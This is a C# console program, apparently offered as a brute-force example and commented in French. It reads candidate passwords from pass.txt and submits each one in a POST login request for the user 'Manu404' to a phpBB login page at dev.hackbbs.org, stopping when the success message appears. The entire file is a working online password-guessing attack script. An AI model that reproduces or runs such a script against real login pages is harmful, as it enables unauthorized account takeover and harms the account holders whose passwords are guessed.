ExempleBruteForce

using System;
using System.IO;
using System.Web;
using System.Net;
using System.Collections;

namespace BBSCrawler
{
    class Program
    {
        public static void Main(string[] args)
        {
            string line;

            // Onverture du fichier pass.txt se trouvant dans le dossier de l'application dans un buffer
            StreamReader file = new StreamReader(System.Windows.Forms.Application.StartupPath + "\\pass.txt");

            // Lecture du buffer ligne par ligne
            while ((line = file.ReadLine()) != null)
            {
                // Création de la requête avec les params en POST
                WebPostRequest myPost = new WebPostRequest("http://dev.hackbbs.org/ucp.php?mode=login");
                myPost.Add("username", "Manu404");
                myPost.Add("password", line);
                myPost.Add("login", "Login");

                // Si réussi on break sinon on continue
                if (myPost.GetResponse().Contains("You have been successfully logged in."))
                {
                    Console.WriteLine("Log Sucess : {0} - {1}", "Manu404", line);
                    break;
                }
                else
                {
                    Console.WriteLine("Log Break : {0} - {1}", "Manu404", line);
                }
            }

            // Fermeture du fichier
            file.Close();

            Console.ReadKey();
        }
    }

    class WebPostRequest
    {
        private WebRequest theRequest;
        private HttpWebResponse theResponse;
        private ArrayList theQueryData;

        public WebPostRequest(string url)
        {
            theRequest = WebRequest.Create(url);
            theRequest.Method = "POST";
            theQueryData = new ArrayList();
        }

        public void Add(string key, string value)
        {
            theQueryData.Add(String.Format("{0}={1}", key, HttpUtility.UrlEncode(value)));
        }

        public string GetResponse()
        {
            // Définis l'encodage
            theRequest.ContentType = "application/x-www-form-urlencoded";

            // Crée un string qui contient tout les paramètres
            string Parameters = String.Join("&", (String[])theQueryData.ToArray(typeof(string)));
            theRequest.ContentLength = Parameters.Length;

            // Ecriture des paramètres dans la requête
            StreamWriter sw = new StreamWriter(theRequest.GetRequestStream());
            sw.Write(Parameters);
            sw.Close();

            // Execute la requête
            theResponse = (HttpWebResponse)theRequest.GetResponse();
            StreamReader sr = new StreamReader(theResponse.GetResponseStream());
            return sr.ReadToEnd();
        }

    }
}